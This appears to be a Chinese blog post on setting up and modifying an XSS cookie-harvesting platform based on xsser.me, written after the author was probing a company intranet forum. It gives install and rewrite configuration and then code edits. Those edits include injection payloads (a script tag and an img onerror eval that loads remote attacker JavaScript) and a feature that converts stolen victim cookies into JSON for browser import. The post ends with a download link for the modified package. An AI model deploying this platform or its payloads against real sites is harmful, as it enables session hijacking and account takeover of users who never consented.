这个周花了点时间捣鼓公司内网论坛,不幸发现原来搭建的 xss platform 挂了,于是重新找了一份代码进行搭建。

在 zone 里面找了一份别人优化过的代码,作者是 Gosuto ,地址点我

为什么选择这个呢,主要是因为作者用 Bootstrap 对xsser.me的默认主题进行了修改,看起来高大上了很多~(至于兼容移动端神马的就算了吧0 0)

下载源码后,照着作者写的安装说明进行修改就好了:

  • 修改config.php里面的数据库连接字段,包括数据库配置(用户名、密码、数据库名)、网站 URL 路径和伪静态配置。
  • 把根目录下的xssplatform.sql导入到数据库中。
  • 在数据库中执行 SQL 语句,把数据库中的域名改为自己的域名:
UPDATE oc_module SET code=REPLACE(code,'http://xsser.me','http://yourdomain/xss')
  • 替换authtest.php中的域名为自己的域名。
  • 首次注册成功后,修改user表中用户对应的adminlevel为1,将自己定义为超级管理员,可以发送和管理邀请码。
  • 根据 server 类型配置伪静态文件:

Apache

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^([0-9a-zA-Z]{6})$ /index.php?do=code&urlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$  /index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule ^register/(.*?)$ /index.php?do=register&key=$1 [L]
RewriteRule ^register-validate/(.*?)$ /index.php?do=register&act=validate&key=$1 [L]

Nginx

rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 break;
rewrite "^/do/auth/(w+?)(/domain/([w.]+?))?$" /index.php?do=do&auth=$1&domain=$3 break;
rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 break;
rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 break;
rewrite "^/login$" /index.php?do=login break;

到这里xss platform就搭建完成了。


我在使用过程碰到的一些 bug,于是对源代码进行了一番修改。

1. 短地址接口部分失效

在项目代码中有一个转换短地址的功能,当然原版的xsser.me是没有的,是另外的作者集成进来的。

代码里提供t.cnis.gd的短地址转换,对应函数在source/function.php中的第350行和357行。由于is.gd的 api 地址已经失效,所以我决定把这一块内容去掉。

先删掉页面上展示的内容,打开templates_c/%%4D^4D3^4D30CF2A%%project_viewcode.html.php,将下面代码去掉:

<p> <pre><?php echo $this->_tpl_vars['shortShow1']; ?></pre>
</p>

然后在source/project.php里面注释下面两行:

$shortUrl2=LongUrltoShortUrl2($longUrl);//短网址2
$shortShow2=StripStr("<script src=".$shortUrl2."></script>");

2. 去掉JS地址后面的时间戳

JS 地址后面加入时间戳,是为了在修改 JS 代码后,刷新对方浏览器中缓存的 JS。但在实际测试中感觉作用不是很大,一般代码修改完刷新一下网页出来的就是新代码。所以我把 JS URL 中的时间戳去掉了。

source/project.php里进行下面的修改:

//$codeurl=URL_ROOT."/{$project[urlKey]}?".time();
$codeurl=URL_ROOT."/{$project[urlKey]}";//$scriptShow1=StripStr("<textarea>'"<script src=".URL_ROOT."/{$project[urlKey]}?".time()."></script>");
$scriptShow1=StripStr("<script src=".URL_ROOT."/{$project[urlKey]}></script>");//$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}?".'"+Math.random();(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}".'";(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';//$scriptShow2=StripStr("</textarea>'\"><img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");
$scriptShow2=StripStr("<img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");

3. HTML 部分优化

代码中部分 Javascript 和 CSS 资源都是通过国外 CDN 获取的,有时候页面 load 很久才出来,于是把文中引用的资源都改为本地,当然改成国内 CDN 地址也可以。

在 Sublime Text 中对目录进行搜索,找出jquery-1.9.1.min.jsbootstrap.min.js引用的地方,然后修改为本地引用,文件放在themes/default里对应的文件夹。

<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
//修改为:
<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>
/js/jquery.min.js"></script>
<script src="http://www.bootstrapcdn.com/bootstrap/2.3.1/js/bootstrap.min.js"></script>
//修改为:
<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>
/js/bootstrap.min.js"></script>

PS.注意修改后的代码为两行。

PPS.其实引用的 Javascript 文件最好放在<body>的最后,但这里需要手动找到所有的 Javascript 进行修改,太麻烦了就没做。

4. 添加 cookie 复制功能

一般来说,打到对方 cookie 后,会借用EditThisCookie这个工具把 cookie 导入到 chrome 中。但document.cookie输出的 cookie 不能直接导入,需要转换成EditThisCookie规定的 JSON 格式。

源代码中本身自带了实现复制功能的 JS 代码,但默认是注释掉的,因为没有完整实现。同时,这个复制只是把 JSON 化后的 cookie 通过alert()打印到屏幕上,当 cookie 内容过多时,alert 窗口并不能展示所有的内容。

于是我决定对这个功能进行修改,在完成 JSON 格式化的同时,把 JSON 内容放入到剪贴板中。

首先对原有 HTML 节点进行修改,打开%%33^334^334DB811%%project_view.html.php ,找到下面内容:

<li>
<?php echo $this->_tpl_vars['ck']; ?>: <?php echo $this->_tpl_vars['c']; ?>
</li>修改为:<li>
<?php echo $this->_tpl_vars['ck']; ?>: <span id="<?php echo $this->_tpl_vars['ck']; ?>"><?php echo $this->_tpl_vars['c']; ?></span>
</li>
<tr class="ohidden">修改为:<tr id="<?php echo $this->_tpl_vars['v']['id']; ?>" class="ohidden">
<!--
            &nbsp;&nbsp;<a href="javascript:void(0)" onclick="Copy(this)">复制</a>
            -->修改为:&nbsp;&nbsp;<a href="javascript:void(0)" onclick="Copy(this)">复制</a>

当某一条记录没有location或者cookie值的时候,Copy()函数会报错,所以要加一个判断条件:

var table = $(obj).parent().parent();
var l = table.find("#location").text();
var c = table.find("#cookie").text();修改为:var table = $("#"+obj).parent().parent();
var l = table.find("#location").text();
var c = table.find("#cookie").text();
if (l == "" || c == "") {return "";
}

修改Copy()函数的返回形式:

alert(JSON.stringify(data));修改为:return JSON.stringify(data);

为了实现让 JSON 数据复制到粘贴板上,我们需要借助ZeroClipboard.js这个插件。下面是调用代码:

<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>
/js/ZeroClipboard.min.js"></script>
ZeroClipboard.config( { swfPath: "'.$this->_tpl_vars['url']['themePath'].'/swf/ZeroClipboard.swf" } );
var client = new ZeroClipboard($(".CopyBtn"));
client.on('copy', function(event) {var clipboard = event.clipboardData;clipboard.clearData();clipboard.setData("text/plain", Copy(event.target.id));
});
client.on('aftercopy', function(event) {if (typeof(event.success['text/plain']) == "undefined") {alert("cookie复制失败,请检查cookie格式~");}else {alert("cookie已复制到剪贴板,可以导入EditThisCookie啦~");}
});

这样就大功告成了~


另外还有一些细微的改动就不说了,反正现在用起来挺好的~

最后放上我修改后的源码包~

下载地址:xss_platform.tgz

XSS 平台搭建与优化(基于 xsser.me 源码)相关推荐

  1. 项目部署--我爱起名网平台搭建学习研究(含php源码,亲测有效)

    30年八字起名经验,起名专业权威,已为近十万名宝宝起名,好评率高达99.9%平台的搭建 只能用来学习研究使用,切勿商用或牟利,请大家遵守好这个规则,如果侵犯了你,请联系小编立即删除 本文涉及到的知识点 ...

  2. DVWA平台搭建遇到的问题-显示php源码,而不是图形化界面

    搭好dvwa之后,很长时间没用,我都忘了怎么打开了,悔不及当初呀,这次记录一下 打开步骤: 打开phpstudy 在浏览器中输入http://127.0.0.1/DVWA-master/ 遇到问题 打 ...

  3. 统一推送平台搭建与优化

    前言 需求背景 雪球近几年来用户量和产品线激增.为了更加贴切的迎合公司业务发展和用户个性化需求,实现以下目标: 满足用户对信息把控的时效性 增加用户终端机型的覆盖率 提升用户满意度和产品体验 雪球统一 ...

  4. XSS跨站脚本攻击(DVWA XSS攻击详解、XSS平台搭建)

    一.跨站脚本攻击过程 二.XSS攻击定义及危害 三.XSS攻击常见分类 例:反射型 例:存储型 例:DOM型 四.XSS攻击常见编码 例: 编码后: 五.XSS常见测试语句 Script 标签 Scr ...

  5. android毕业设计——基于Android+XAMPP+MySQL的家校互动平台设计与实现(毕业论文+程序源码)——家校互动平台

    基于Android+XAMPP+MySQL的家校互动平台设计与实现(毕业论文+程序源码) 大家好,今天给大家介绍基于Android+XAMPP+MySQL的家校互动平台设计与实现,文章末尾附有本毕业设 ...

  6. 基于JAVA汽车租赁平台的设计与实现计算机毕业设计源码+系统+mysql数据库+lw文档+部署

    基于JAVA汽车租赁平台的设计与实现计算机毕业设计源码+系统+mysql数据库+lw文档+部署 基于JAVA汽车租赁平台的设计与实现计算机毕业设计源码+系统+mysql数据库+lw文档+部署 本源码技 ...

  7. asp毕业设计——基于asp+access的校园网上购物平台设计与实现(毕业论文+程序源码)——网上购物平台

    基于asp+access的校园网上购物平台设计与实现(毕业论文+程序源码) 大家好,今天给大家介绍基于asp+access的校园网上购物平台设计与实现,文章末尾附有本毕业设计的论文和源码下载地址哦. ...

  8. C#毕业设计——基于C#+asp.net+sqlserver的教务管理平台设计与实现(毕业论文+程序源码)——教务管理平台

    基于C#+asp.net+sqlserver的教务管理平台设计与实现(毕业论文+程序源码) 大家好,今天给大家介绍基于C#+asp.net+sqlserver的教务管理平台设计与实现,文章末尾附有本毕 ...

  9. 基于java的创意项目众筹平台的设计与开发计算机毕业设计源码+系统+lw文档+mysql数据库+调试部署

    基于java的创意项目众筹平台的设计与开发计算机毕业设计源码+系统+lw文档+mysql数据库+调试部署 基于java的创意项目众筹平台的设计与开发计算机毕业设计源码+系统+lw文档+mysql数据库 ...

最新文章

  1. 纳米孔(Oxford Nanopore)测序仪的学习笔记
  2. [ 转]Python模块(二)import和from...import的区别
  3. 使用 Android Studio 跑新浪微博SDK Demo遇到的问题及解决
  4. git gui fetch不到文件_Git内部原理剖析,有比这还详细的吗?
  5. Python基础数据类型之字符串(二)
  6. JVM基础系列第14讲:JVM参数之GC日志配置
  7. php laravel 排序,php – 在laravel中排序数组
  8. MySql错误1045 Access denied for user 'root'@'localhost' (using password:YES)
  9. Java知识整理——线程
  10. VisNetic MailServer 常见问题
  11. win7装mysql一直未响应_求助啊 WIN7下安装mysql出问题 老是说未响应~!!
  12. 【TensorFlow】TensorFlow函数精讲之tf.constant()
  13. python将十进制转为二进制_如何用Python将十进制数字转为二进制,以及将二进制转为十六进制?...
  14. 分治法经典问题-逆序对个数
  15. c语言中变量的转换,C语言中,指针变量之间的类型转换
  16. vb2010 java,连接用vb成功连接access2010
  17. django mysql graphql_GraphQL graphene-django 基本使用文档
  18. python在财务中的应用实训报告-衡南2020年_商务办公软件应用与实践_高校邦_期末答案...
  19. 【Vue】图片加载中显示Loading
  20. -fpie -pie_Google的Pie Noon,TI-83上的Super Smash Bros等

热门文章

  1. Android Studio音乐播放器and视频播放器
  2. 看服务器是物理机还是虚拟机,如何判断一台机器是物理机还是虚拟机
  3. AndroidStudio中利用openFileOutput将数据保存在文件中,利用openFileInput读取文件中的数据
  4. HTML、CSS、JavaScript学习(Web前端基础)
  5. 使用ffmpeg将GoPro长延时的jpg照片转换成视频文件(一条命令)
  6. ArduinoUNO实战-第二十一章-通过调整电位器来改变9克舵机的角度
  7. win10 / ubuntu 双系统安装
  8. 视频直播技术分享:一文读懂主流视频直播系统的推拉流架构、传输协议等
  9. 【狮子数学】chapter2-02-中值定理
  10. vc6实现用c语言模拟电子琴,用单片机实现模拟电子琴的小制作